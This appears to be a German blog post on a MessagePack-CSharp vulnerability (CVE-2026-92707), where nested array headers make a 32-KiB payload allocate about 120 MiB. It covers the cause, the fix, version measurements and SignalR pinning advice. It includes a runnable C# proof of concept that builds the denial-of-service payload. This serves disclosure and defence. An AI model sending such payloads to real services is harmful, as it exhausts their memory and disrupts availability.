MessagePack 3.1.9 und 2.5.303 beheben eine 32-KiB-Payload, die 120 MiB alloziert
CVE-2026-92707: Verschachtelte MessagePack-Array-Header konnten dieselben verbleibenden Bytes wiederverwenden, um die Längenprüfung zu bestehen, sodass die Deserialisierung in object ein Vielfaches der Payload-Größe allozierte. Der Fix, ein Vorher/Nachher-Test und warum SignalR-Apps auf .NET 8 bis 11 RC 1 einen direkten Paket-Pin benötigen.
MessagePack-CSharp hat am 2026-09-17 3.1.9 und 2.5.303 mit einem Fix für GHSA-qhrr-8q5h-9q3h (CVE-2026-92707, Einstufung: mittel) veröffentlicht. Wenn Sie nicht vertrauenswürdiges MessagePack in object deserialisieren, kann eine Payload von wenigen Kilobyte über hundert Megabyte an Allokationen pro Anfrage erzwingen.
Warum das Tiefenlimit nicht half
PrimitiveObjectFormatter, der Formatter hinter Deserialize<object>, liest einen Array-Header und alloziert sofort new object[count]. Die einzige Absicherung war eine Plausibilitätsprüfung in MessagePackReader.ReadArrayHeader: Die deklarierte Anzahl darf die noch nicht gelesenen Bytes nicht überschreiten, unter der Annahme, dass jedes Element mindestens ein Byte benötigt.
Der Fehler besteht darin, dass jeder verschachtelte Header gegen dieselben verbleibenden Bytes geprüft wurde. Ein array32-Header, der 32.000 Elemente behauptet, gefolgt von einem weiteren mit 31.995, gefolgt von einem weiteren, besteht die Prüfung jedes Mal, weil keiner von ihnen berücksichtigt, was die übergeordneten Header bereits reserviert haben. MessagePackSecurity.UntrustedData begrenzt die Graphtiefe auf 500, aber die Ausnahme wird erst ausgelöst, nachdem bereits 500 Arrays alloziert wurden und existieren.
Messung
Ich habe die Payload direkt gebaut: 600 array32-Header, jeder deklariert so viele Elemente wie Bytes übrig bleiben, aufgefüllt mit nil bis 32 KiB. Dieselbe dateibasierte App lief gegen jede Version auf SDK 10.0.302:
#:package MessagePack@3.1.8
#:property PublishAot=false
using MessagePack;
using System.Buffers.Binary;
const int headers = 600, total = 32 * 1024;
var payload = new byte[total];
for (int i = 0; i < headers; i++)
{
payload[i * 5] = 0xdd; // array32
BinaryPrimitives.WriteUInt32BigEndian(payload.AsSpan(i * 5 + 1), (uint)(total - (i + 1) * 5));
}
payload.AsSpan(headers * 5).Fill(0xc0); // nil
var options = MessagePackSerializerOptions.Standard.WithSecurity(MessagePackSecurity.UntrustedData);
long before = GC.GetTotalAllocatedBytes(precise: true);
try { MessagePackSerializer.Deserialize<object>(payload, options); }
catch (MessagePackSerializationException ex) { Console.WriteLine((ex.InnerException ?? ex).Message); }
Console.WriteLine($"{(GC.GetTotalAllocatedBytes(true) - before) / 1024.0 / 1024.0:F1} MiB");
| Version | Ausnahme | Alloziert |
|---|---|---|
| 2.5.302 | exceeds the maximum depth allowed of 500 | 120,5 MiB |
| 2.5.303 | Attempted to read past the end of the stream | 0,3 MiB |
| 3.1.8 | exceeds the maximum depth allowed of 500 | 120,5 MiB |
| 3.1.9 | Attempted to read past the end of the stream | 0,3 MiB |
Der gepatchte Reader weist bereits den zweiten Header zurück, statt erst bei der 501. Allokation einzugreifen.
Was der Fix ändert
Commit 7fd78bb ersetzt die Prüfung pro Header durch ReserveMinimumChildBytes. Der Reader verfolgt jetzt, wie viele Bytes frühere Array- und Map-Header für ihre Kinder reserviert haben, löst diese Reservierung auf, sobald Bytes verbraucht werden, und akzeptiert einen neuen Header nur, wenn dessen Anzahl in das passt, was nach diesen Reservierungen übrig bleibt. Die Prüfung sitzt in MessagePackReader, sodass jeder Formatter davon profitiert, nicht nur object.
Das Release fügt der Standard-Sperrliste für benannte Typen außerdem weitere bekannte Deserialisierungs-Gadgets hinzu (#2263, #2269).
SignalR-Apps benötigen einen direkten Pin
Der Advisory nennt ASP.NET Core SignalR mit AddMessagePackProtocol() und eine Hub-Methode, die object entgegennimmt, als Angriffsvektor. Microsoft.AspNetCore.SignalR.Protocols.MessagePack 8.0.31, 9.0.20, 10.0.12 und 11.0.0-rc.1 hängen alle noch von MessagePack 2.5.302 ab. Bis ein Servicing-Release die Version anhebt, überschreiben Sie die transitive Version selbst:
<PackageReference Include="Microsoft.AspNetCore.SignalR.Protocols.MessagePack" Version="10.0.12" />
<PackageReference Include="MessagePack" Version="2.5.303" />
Bleiben Sie bei SignalR auf der 2.x-Linie, da das Protokollpaket gegen die 2.x-API kompiliert ist. Sobald der Advisory in die Sicherheitslückendaten von NuGet aufgenommen wird, markiert dotnet list package --vulnerable --include-transitive jedes Projekt, das noch 2.5.302 auflöst.
Langfristig sollten Sie object-Parameter bei Hub-Methoden und object-Member bei DTOs durch konkrete Typen ersetzen. Das war der erste Workaround im Advisory, und er entfernt PrimitiveObjectFormatter vollständig aus der Angriffsfläche. Wenn Sie nach dem Abschied von BinaryFormatter einen binären Serializer auswählen, zeigt der Leitfaden zur BinaryFormatter-Migration, wo MessagePack passt.
Comments
Sign in with GitHub to comment. Reactions and replies thread back to the comments repo.